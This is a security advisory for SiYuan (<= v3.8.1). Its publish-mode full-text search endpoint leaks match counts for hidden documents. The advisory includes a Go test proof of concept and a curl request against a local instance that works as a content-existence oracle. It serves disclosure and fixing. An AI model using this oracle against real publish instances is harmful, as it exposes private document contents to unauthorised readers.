Skip to content

Publish-mode /api/search/fullTextSearchBlock discloses private-match counts despite returning no private blocks

Moderate
88250 published GHSA-g45v-hxvm-wccj Aug 26, 2026

Package

gomod github.com/siyuan-note/siyuan (Go)

Affected versions

<= v3.8.1

Patched versions

v3.8.2

Description

Summary

The reader-facing POST /api/search/fullTextSearchBlock endpoint filters private, hidden, and publish-disabled blocks from the blocks array, but returns search-result counts calculated before that filtering. An unauthenticated publish-mode reader can therefore submit arbitrary search terms and learn whether matching content exists in documents that the administrator has not published, together with the number of matching blocks/documents and the derived page count.

This is a confidentiality issue: the endpoint returns no protected block content in the reproduction below, yet it returns matchedBlockCount: 1, matchedRootCount: 1, and pageCount: 1 for a term present only in a hidden document.

Details

The route handler in kernel/api/search.go obtains all five values from the search model and then filters only the block slice for read-only/publish readers:

blocks, matchedBlockCount, matchedRootCount, pageCount, docMode =
    model.FullTextSearchBlockInBoxWithHPathContext(...)

if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

ret.Data = map[string]any{
    "blocks":            blocks,
    "matchedBlockCount": matchedBlockCount,
    "matchedRootCount":  matchedRootCount,
    "pageCount":         pageCount,
    "docMode":           docMode,
}

The same handler is present at kernel/api/search.go in the v3.8.1 revision, approximately lines 559–590. The search model computes pageCount directly from the pre-filter count, and its search branches populate matchedBlockCount and matchedRootCount before the API-level publish filter is called 3. Consequently, publish filtering can produce an empty blocks array while the numeric fields still describe private matches.

The related semanticSearchBlock and listInvalidBlockRefs reader paths also return count fields after filtering only their block arrays. The PoC below focuses on the ordinary full-text endpoint and does not rely on SQL mode, regular expressions, privileged credentials, production data, or any denial-of-service behavior.

PoC

The following test is self-contained and uses only a temporary workspace, synthetic documents, and a temporary SQLite database. It creates one public document and one hidden document, indexes both, sends a reader-role request containing a term that exists only in the hidden document, and asserts that no private block is returned while the response still reports positive counts.

Save it as kernel/api/search_count_disclosure_poc_test.go in the Siyuan checkout and run:

cd siyuan/kernel
GOMAXPROCS=2 go test -tags fts5 ./api -run '^TestSearchCountDisclosure$' -count=1 -v

Expected evidence from the tested v3.8.1 checkout:

search_count_disclosure_poc_test.go:123: reader response: {"code":0,"msg":"","data":{"blocks":[],"docMode":false,"matchedBlockCount":1,"matchedRootCount":1,"pageCount":1}}
--- PASS: TestSearchCountDisclosure (0.05s)
PASS
ok      github.com/siyuan-note/siyuan/kernel/api

Complete PoC source:

package api

import (
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "os"
    "path/filepath"
    "strings"
    "testing"

    "github.com/88250/lute/ast"
    "github.com/gin-gonic/gin"
    "github.com/siyuan-note/siyuan/kernel/conf"
    "github.com/siyuan-note/siyuan/kernel/filesys"
    "github.com/siyuan-note/siyuan/kernel/model"
    "github.com/siyuan-note/siyuan/kernel/sql"
    "github.com/siyuan-note/siyuan/kernel/treenode"
    "github.com/siyuan-note/siyuan/kernel/util"
)

// TestSearchCountDisclosure demonstrates that the reader-facing handler can
// return a positive private-match count while returning no private blocks.
// It uses only a temporary workspace and synthetic documents.
func TestSearchCountDisclosure(t *testing.T) {
    oldConf := model.Conf
    oldWorkspaceDir, oldConfDir, oldDataDir := util.WorkspaceDir, util.ConfDir, util.DataDir
    oldHistoryDir, oldTempDir, oldQueueDir := util.HistoryDir, util.TempDir, util.QueueDir
    oldDBPath, oldHistoryDBPath := util.DBPath, util.HistoryDBPath
    oldAssetDBPath, oldBlockTreeDBPath := util.AssetContentDBPath, util.BlockTreeDBPath
    t.Cleanup(func() {
        sql.CloseDatabase()
        treenode.CloseDatabase()
        model.Conf = oldConf
        util.WorkspaceDir, util.ConfDir, util.DataDir = oldWorkspaceDir, oldConfDir, oldDataDir
        util.HistoryDir, util.TempDir, util.QueueDir = oldHistoryDir, oldTempDir, oldQueueDir
        util.DBPath, util.HistoryDBPath = oldDBPath, oldHistoryDBPath
        util.AssetContentDBPath, util.BlockTreeDBPath = oldAssetDBPath, oldBlockTreeDBPath
    })

    root := t.TempDir()
    util.WorkspaceDir = root
    util.ConfDir = filepath.Join(root, "conf")
    util.DataDir = filepath.Join(root, "data")
    util.HistoryDir = filepath.Join(root, "history")
    util.TempDir = filepath.Join(root, "temp")
    util.QueueDir = filepath.Join(util.TempDir, "queue")
    util.DBPath = filepath.Join(util.TempDir, util.DBName)
    util.HistoryDBPath = filepath.Join(util.TempDir, "history.db")
    util.AssetContentDBPath = filepath.Join(util.TempDir, "asset_content.db")
    util.BlockTreeDBPath = filepath.Join(util.TempDir, "blocktree.db")
    for _, dir := range []string{util.ConfDir, util.DataDir, util.HistoryDir, util.TempDir, util.QueueDir} {
        if err := os.MkdirAll(dir, 0755); err != nil {
            t.Fatal(err)
        }
    }

    model.Conf = model.NewAppConf()
    model.Conf.Lang = "en"
    model.Conf.FileTree = conf.NewFileTree()
    model.Conf.Editor = conf.NewEditor()
    model.Conf.Export = conf.NewExport()
    model.Conf.Search = conf.NewSearch()
    model.Conf.NotebookCrypto = conf.NewNotebookCrypto()
    model.Conf.Sync = conf.NewSync()

    const boxID = "20260823000000-box0001"
    const publicID = "20260823000001-public1"
    const privateID = "20260823000002-private1"
    box := &model.Box{ID: boxID}
    boxConf := conf.NewBoxConf()
    boxConf.Name = "Search count PoC"
    boxConf.Closed = false
    if err := box.SaveConf(boxConf); err != nil {
        t.Fatal(err)
    }

    sql.InitDatabase(true)
    sql.InitHistoryDatabase(true)
    sql.InitAssetContentDatabase(true)
    treenode.InitBlockTree(true)
    t.Cleanup(func() { _ = model.SetPublishAccess(nil) })

    addDoc := func(id, title, term string) {
        tree := treenode.NewTree(boxID, "/"+id+".sy", "/"+title, title)
        tree.Root.FirstChild.Unlink()
        node := &ast.Node{Type: ast.NodeParagraph, ID: id + "-child"}
        node.AppendChild(&ast.Node{Type: ast.NodeText, Tokens: []byte(term)})
        tree.Root.AppendChild(node)
        treenode.IndexBlockTree(tree)
        if _, err := filesys.WriteTree(tree); err != nil {
            t.Fatal(err)
        }
        sql.IndexTreeQueue(tree)
    }
    addDoc(publicID, "Public", "publiccanary")
    addDoc(privateID, "Private", "privatecanary")
    sql.FlushQueue()

    if err := model.SetPublishAccess(model.PublishAccess{{ID: privateID, Visible: false}}); err != nil {
        t.Fatal(err)
    }

    body := `{"query":"privatecanary","method":0,"types":{"document":true,"paragraph":true},"subTypes":{},"paths":[],"groupBy":0,"orderBy":0,"page":1,"pageSize":32}`
    recorder := httptest.NewRecorder()
    c, _ := gin.CreateTestContext(recorder)
    c.Request = httptest.NewRequest(http.MethodPost, "/api/search/fullTextSearchBlock", strings.NewReader(body))
    c.Request.Header.Set("Content-Type", "application/json")
    c.Set(model.RoleContextKey, model.RoleReader)
    fullTextSearchBlock(c)

    var response struct {
        Data struct {
            Blocks            []json.RawMessage `json:"blocks"`
            MatchedBlockCount int              `json:"matchedBlockCount"`
            MatchedRootCount  int              `json:"matchedRootCount"`
            PageCount         int              `json:"pageCount"`
        } `json:"data"`
    }
    if err := json.Unmarshal(recorder.Body.Bytes(), &response); err != nil {
        t.Fatalf("invalid handler response: %v\n%s", err, recorder.Body.String())
    }
    t.Logf("reader response: %s", recorder.Body.String())
    if len(response.Data.Blocks) != 0 {
        t.Fatalf("private blocks were returned: %s", recorder.Body.String())
    }
    if response.Data.MatchedBlockCount == 0 || response.Data.MatchedRootCount == 0 || response.Data.PageCount == 0 {
        t.Fatalf("expected positive unfiltered counts, got: %s", recorder.Body.String())
    }
}

For an HTTP-level reproduction against a researcher-controlled local publish instance, configure one visible document and one hidden or publish-disabled document, then submit the following request as an unauthenticated publish reader. Use a term that occurs only in the hidden document:

curl -sS -X POST 'http://127.0.0.1:6806/api/search/fullTextSearchBlock' \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "query":"PRIVATE_SEARCH_CANARY",
    "method":0,
    "types":{"document":true,"paragraph":true},
    "subTypes":{},"paths":[],"groupBy":0,"orderBy":0,
    "page":1,"pageSize":32
  }'

The vulnerable behavior is present when the JSON response contains an empty data.blocks array but positive data.matchedBlockCount, data.matchedRootCount, or data.pageCount values corresponding to the hidden document.

Impact

A remote unauthenticated publish reader can use this endpoint as a content-existence oracle against documents that the administrator intentionally hid or disabled from publication. By varying search terms, an attacker can confirm private words, project names, client names, identifiers, or other distinctive phrases and can infer the number of private matching blocks/documents. This leaks information across the configured publication boundary even though the actual matching blocks are correctly removed from the response.

The issue does not require SQL mode, administrator credentials, a publish password, JavaScript execution, file access, or interaction with another user. The direct confidentiality impact is limited to metadata and search-term presence; the endpoint does not disclose the matching block body in the supplied reproduction.

Suggested remediation

Apply publication filtering before calculating counts, or recalculate matchedBlockCount, matchedRootCount, and pageCount from the filtered result set. For paginated searches, the robust approach is to constrain the search query itself to publish-accessible roots before counting and paging, rather than filtering only the current page after the database query. The same invariant should be applied to semanticSearchBlock and listInvalidBlockRefs so count fields cannot describe protected results.

References

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

No CWEs